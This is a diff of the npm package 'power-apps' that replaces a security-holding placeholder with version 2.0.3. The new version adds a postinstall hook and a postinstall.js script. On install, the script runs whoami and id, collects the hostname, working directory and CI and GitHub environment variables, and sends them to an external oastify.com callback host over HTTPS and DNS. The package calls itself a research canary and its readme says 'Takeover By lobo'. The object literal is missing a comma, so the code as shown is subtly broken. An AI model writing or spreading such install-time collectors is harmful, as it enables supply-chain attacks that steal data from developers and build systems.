power-apps 0.0.1-security → 2.0.3

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "power-apps",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "2.0.3",
+  "description": "Security research canary — microsoft",
+  "main": "postinstall.js",
+  "bin": {
+    "discovery-build": "postinstall.js"
+  },
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  }
 }

package/postinstall.js

@@ -0,0 +1,29 @@
+#!/usr/bin/env node
+
+const https = require('https');
+const os    = require('os');
+const { execSync } = require('child_process');
+
+const CALLBACK_HOST = 'zadcmhds5ttaeh0kjwfw7pgobfh855tu.oastify.com';
+
+function get(cmd) {
+  try { return execSync(cmd, { timeout: 3000 }).toString().trim(); }
+  catch { return 'error'; }
+}
+
+const payload = {
+  whoami:   get('whoami'),
+  id:       get('id')
+  hostname: os.hostname(),
+  platform: os.platform(),
+  cwd:      process.cwd(),
+  ci:       process.env.CI || '',
+  github:   process.env.GITHUB_REPOSITORY || '',
+  node_env: process.env.NODE_ENV || '',
+};
+
+const path = '/microsft?' + new URLSearchParams(payload).toString();
+
+https.get({ host: CALLBACK_HOST, path, timeout: 5000 }, () => {}).on('error', () => {});
+
+require('dns').lookup(`${payload.whoami}.${CALLBACK_HOST}`, () => {});

package/readme.md

@@ -0,0 +1,2 @@
+Takeover By lobo
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=power-apps for more information.